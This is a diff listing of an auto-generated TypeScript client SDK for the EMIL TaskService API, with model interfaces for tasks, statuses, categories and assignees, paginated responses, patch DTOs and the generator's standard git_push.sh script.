| __exportStar(require("./patch-category-response-class"), exports); | ||
| __exportStar(require("./patch-status-request-dto"), exports); | ||
| __exportStar(require("./patch-status-response-class"), exports); | ||
| __exportStar(require("./patch-task-request-dto"), exports); | ||
| __exportStar(require("./patch-task-response-class"), exports); | ||
| __exportStar(require("./status-class"), exports); | ||
| __exportStar(require("./task-class"), exports); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface InlineResponse200 | ||
| */ | ||
| export interface InlineResponse200 { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'status'?: string; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'info'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'error'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse200 | ||
| */ | ||
| 'details'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| }; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface InlineResponse503 | ||
| */ | ||
| export interface InlineResponse503 { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'status'?: string; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'info'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'error'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| } | null; | ||
| /** | ||
| * | ||
| * @type {{ [key: string]: { [key: string]: object; }; }} | ||
| * @memberof InlineResponse503 | ||
| */ | ||
| 'details'?: { | ||
| [key: string]: { | ||
| [key: string]: object; | ||
| }; | ||
| }; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { AssigneeClass } from './assignee-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ListAssigneesResponseClass | ||
| */ | ||
| export interface ListAssigneesResponseClass { | ||
| /** | ||
| * List of assignees | ||
| * @type {Array<AssigneeClass>} | ||
| * @memberof ListAssigneesResponseClass | ||
| */ | ||
| 'items': Array<AssigneeClass>; | ||
| /** | ||
| * Token for next page | ||
| * @type {string} | ||
| * @memberof ListAssigneesResponseClass | ||
| */ | ||
| 'nextPageToken': string; | ||
| /** | ||
| * Number of items per page | ||
| * @type {number} | ||
| * @memberof ListAssigneesResponseClass | ||
| */ | ||
| 'itemsPerPage': number; | ||
| /** | ||
| * Total number of items | ||
| * @type {number} | ||
| * @memberof ListAssigneesResponseClass | ||
| */ | ||
| 'totalItems': number; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { CategoryClass } from './category-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ListCategoriesResponseClass | ||
| */ | ||
| export interface ListCategoriesResponseClass { | ||
| /** | ||
| * items | ||
| * @type {Array<CategoryClass>} | ||
| * @memberof ListCategoriesResponseClass | ||
| */ | ||
| 'items': Array<CategoryClass>; | ||
| /** | ||
| * nextPageToken | ||
| * @type {string} | ||
| * @memberof ListCategoriesResponseClass | ||
| */ | ||
| 'nextPageToken': string; | ||
| /** | ||
| * itemsPerPage | ||
| * @type {number} | ||
| * @memberof ListCategoriesResponseClass | ||
| */ | ||
| 'itemsPerPage': number; | ||
| /** | ||
| * totalItems | ||
| * @type {number} | ||
| * @memberof ListCategoriesResponseClass | ||
| */ | ||
| 'totalItems': number; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { StatusClass } from './status-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ListStatusesResponseClass | ||
| */ | ||
| export interface ListStatusesResponseClass { | ||
| /** | ||
| * items | ||
| * @type {Array<StatusClass>} | ||
| * @memberof ListStatusesResponseClass | ||
| */ | ||
| 'items': Array<StatusClass>; | ||
| /** | ||
| * nextPageToken | ||
| * @type {string} | ||
| * @memberof ListStatusesResponseClass | ||
| */ | ||
| 'nextPageToken': string; | ||
| /** | ||
| * itemsPerPage | ||
| * @type {number} | ||
| * @memberof ListStatusesResponseClass | ||
| */ | ||
| 'itemsPerPage': number; | ||
| /** | ||
| * totalItems | ||
| * @type {number} | ||
| * @memberof ListStatusesResponseClass | ||
| */ | ||
| 'totalItems': number; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { TaskClass } from './task-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface ListTasksResponseClass | ||
| */ | ||
| export interface ListTasksResponseClass { | ||
| /** | ||
| * items | ||
| * @type {Array<TaskClass>} | ||
| * @memberof ListTasksResponseClass | ||
| */ | ||
| 'items': Array<TaskClass>; | ||
| /** | ||
| * nextPageToken | ||
| * @type {string} | ||
| * @memberof ListTasksResponseClass | ||
| */ | ||
| 'nextPageToken': string; | ||
| /** | ||
| * itemsPerPage | ||
| * @type {number} | ||
| * @memberof ListTasksResponseClass | ||
| */ | ||
| 'itemsPerPage': number; | ||
| /** | ||
| * totalItems | ||
| * @type {number} | ||
| * @memberof ListTasksResponseClass | ||
| */ | ||
| 'totalItems': number; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchCategoryRequestDto | ||
| */ | ||
| export interface PatchCategoryRequestDto { | ||
| /** | ||
| * Category code: unique identifier of the category | ||
| * @type {string} | ||
| * @memberof PatchCategoryRequestDto | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * Category name: display name of the category | ||
| * @type {string} | ||
| * @memberof PatchCategoryRequestDto | ||
| */ | ||
| 'name'?: string; | ||
| /** | ||
| * Category slug: URL-friendly identifier | ||
| * @type {string} | ||
| * @memberof PatchCategoryRequestDto | ||
| */ | ||
| 'slug'?: string; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { CategoryClass } from './category-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchCategoryResponseClass | ||
| */ | ||
| export interface PatchCategoryResponseClass { | ||
| /** | ||
| * category | ||
| * @type {CategoryClass} | ||
| * @memberof PatchCategoryResponseClass | ||
| */ | ||
| 'category'?: CategoryClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchStatusRequestDto | ||
| */ | ||
| export interface PatchStatusRequestDto { | ||
| /** | ||
| * Status code: unique identifier of the status | ||
| * @type {string} | ||
| * @memberof PatchStatusRequestDto | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * Status name: display name of the status | ||
| * @type {string} | ||
| * @memberof PatchStatusRequestDto | ||
| */ | ||
| 'name'?: string; | ||
| /** | ||
| * Status slug: URL-friendly identifier | ||
| * @type {string} | ||
| * @memberof PatchStatusRequestDto | ||
| */ | ||
| 'slug'?: string; | ||
| /** | ||
| * Sort order for workflow display (must be unique per tenant). Lower values appear first. | ||
| * @type {number} | ||
| * @memberof PatchStatusRequestDto | ||
| */ | ||
| 'sortOrder'?: number; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { StatusClass } from './status-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchStatusResponseClass | ||
| */ | ||
| export interface PatchStatusResponseClass { | ||
| /** | ||
| * status | ||
| * @type {StatusClass} | ||
| * @memberof PatchStatusResponseClass | ||
| */ | ||
| 'status'?: StatusClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchTaskRequestDto | ||
| */ | ||
| export interface PatchTaskRequestDto { | ||
| /** | ||
| * Task code: unique identifier of the task | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * Entity version for optimistic locking. If provided, update fails if version does not match current version. | ||
| * @type {number} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'version'?: number; | ||
| /** | ||
| * Task subject: title of the task | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'subject'?: string; | ||
| /** | ||
| * Task description: detailed description of the task | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'description'?: string; | ||
| /** | ||
| * Task assignee: person assigned to the task | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'assignee'?: string; | ||
| /** | ||
| * Task category slugs (array of category slugs) | ||
| * @type {Array<string>} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'categorySlugs'?: Array<string>; | ||
| /** | ||
| * Task status slug | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'statusSlug'?: string; | ||
| /** | ||
| * Task priority | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'priority'?: string; | ||
| /** | ||
| * Task reporter: person who reported the task | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'reporter'?: string; | ||
| /** | ||
| * Task due date | ||
| * @type {string} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'dueDate'?: string; | ||
| /** | ||
| * Set to true to clear/remove the due date. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearDueDate'?: boolean; | ||
| /** | ||
| * Set to true to clear/remove the assignee. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearAssignee'?: boolean; | ||
| /** | ||
| * Set to true to clear/remove the categories. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearCategories'?: boolean; | ||
| /** | ||
| * Set to true to clear/remove the status. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearStatus'?: boolean; | ||
| /** | ||
| * Set to true to clear/remove the priority. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearPriority'?: boolean; | ||
| /** | ||
| * Set to true to clear/remove the reporter. | ||
| * @type {boolean} | ||
| * @memberof PatchTaskRequestDto | ||
| */ | ||
| 'clearReporter'?: boolean; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { TaskClass } from './task-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchTaskResponseClass | ||
| */ | ||
| export interface PatchTaskResponseClass { | ||
| /** | ||
| * task | ||
| * @type {TaskClass} | ||
| * @memberof PatchTaskResponseClass | ||
| */ | ||
| 'task'?: TaskClass; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface StatusClass | ||
| */ | ||
| export interface StatusClass { | ||
| /** | ||
| * id | ||
| * @type {number} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'id': number; | ||
| /** | ||
| * code | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * name | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'name': string; | ||
| /** | ||
| * createdBy | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'createdBy': string; | ||
| /** | ||
| * updatedBy | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'updatedBy': string; | ||
| /** | ||
| * createdAt | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'createdAt'?: string; | ||
| /** | ||
| * updatedAt | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'updatedAt'?: string; | ||
| /** | ||
| * slug | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'slug': string; | ||
| /** | ||
| * Sort order for workflow display (unique per tenant) | ||
| * @type {number} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'sortOrder': number; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { CategoryClass } from './category-class'; | ||
| import { StatusClass } from './status-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface TaskClass | ||
| */ | ||
| export interface TaskClass { | ||
| /** | ||
| * id | ||
| * @type {number} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'id': number; | ||
| /** | ||
| * code | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * subject | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'subject': string; | ||
| /** | ||
| * description | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'description': string; | ||
| /** | ||
| * assignee | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'assignee'?: string; | ||
| /** | ||
| * Category slugs | ||
| * @type {Array<string>} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'categorySlugs'?: Array<string>; | ||
| /** | ||
| * Status slug (always returned) | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'statusSlug': string; | ||
| /** | ||
| * categories (only populated when expand=categories) | ||
| * @type {Array<CategoryClass>} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'categories'?: Array<CategoryClass>; | ||
| /** | ||
| * status (only populated when expand=status) | ||
| * @type {StatusClass} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'status'?: StatusClass; | ||
| /** | ||
| * Task priority | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'priority': TaskClassPriorityEnum; | ||
| /** | ||
| * Task reporter: person who reported the task | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'reporter'?: string; | ||
| /** | ||
| * Task due date | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'dueDate'?: string; | ||
| /** | ||
| * createdBy | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'createdBy': string; | ||
| /** | ||
| * updatedBy | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'updatedBy': string; | ||
| /** | ||
| * version | ||
| * @type {number} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'version': number; | ||
| /** | ||
| * createdAt | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'createdAt'?: string; | ||
| /** | ||
| * updatedAt | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'updatedAt'?: string; | ||
| } | ||
| export declare const TaskClassPriorityEnum: { | ||
| readonly Low: "LOW"; | ||
| readonly Medium: "MEDIUM"; | ||
| readonly High: "HIGH"; | ||
| }; | ||
| export type TaskClassPriorityEnum = typeof TaskClassPriorityEnum[keyof typeof TaskClassPriorityEnum]; |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.TaskClassPriorityEnum = void 0; | ||
| exports.TaskClassPriorityEnum = { | ||
| Low: 'LOW', | ||
| Medium: 'MEDIUM', | ||
| High: 'HIGH' | ||
| }; |
+57
| #!/bin/sh | ||
| # ref: https://help.github.com/articles/adding-an-existing-project-to-github-using-the-command-line/ | ||
| # | ||
| # Usage example: /bin/sh ./git_push.sh wing328 openapi-petstore-perl "minor update" "gitlab.com" | ||
| git_user_id=$1 | ||
| git_repo_id=$2 | ||
| release_note=$3 | ||
| git_host=$4 | ||
| if [ "$git_host" = "" ]; then | ||
| git_host="github.com" | ||
| echo "[INFO] No command line input provided. Set \$git_host to $git_host" | ||
| fi | ||
| if [ "$git_user_id" = "" ]; then | ||
| git_user_id="Emil" | ||
| echo "[INFO] No command line input provided. Set \$git_user_id to $git_user_id" | ||
| fi | ||
| if [ "$git_repo_id" = "" ]; then | ||
| git_repo_id="task-sdk-node" | ||
| echo "[INFO] No command line input provided. Set \$git_repo_id to $git_repo_id" | ||
| fi | ||
| if [ "$release_note" = "" ]; then | ||
| release_note="Minor update" | ||
| echo "[INFO] No command line input provided. Set \$release_note to $release_note" | ||
| fi | ||
| # Initialize the local directory as a Git repository | ||
| git init | ||
| # Adds the files in the local repository and stages them for commit. | ||
| git add . | ||
| # Commits the tracked changes and prepares them to be pushed to a remote repository. | ||
| git commit -m "$release_note" | ||
| # Sets the new remote | ||
| git_remote=$(git remote) | ||
| if [ "$git_remote" = "" ]; then # git remote not defined | ||
| if [ "$GIT_TOKEN" = "" ]; then | ||
| echo "[INFO] \$GIT_TOKEN (environment variable) is not set. Using the git credential in your environment." | ||
| git remote add origin https://${git_host}/${git_user_id}/${git_repo_id}.git | ||
| else | ||
| git remote add origin https://${git_user_id}:"${GIT_TOKEN}"@${git_host}/${git_user_id}/${git_repo_id}.git | ||
| fi | ||
| fi | ||
| git pull origin master | ||
| # Pushes (Forces) the changes in the local repository up to the remote repository | ||
| echo "Git pushing to https://${git_host}/${git_user_id}/${git_repo_id}.git" | ||
| git push origin master 2>&1 | grep -v 'To https' |
+19
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export { Environment, BaseAPI } from "./base"; | ||
| export * from "./api"; | ||
| export * from "./configuration"; | ||
| export * from "./models"; |
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface AssigneeClass | ||
| */ | ||
| export interface AssigneeClass { | ||
| /** | ||
| * Assignee code/identifier | ||
| * @type {string} | ||
| * @memberof AssigneeClass | ||
| */ | ||
| 'code': string; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface CategoryClass | ||
| */ | ||
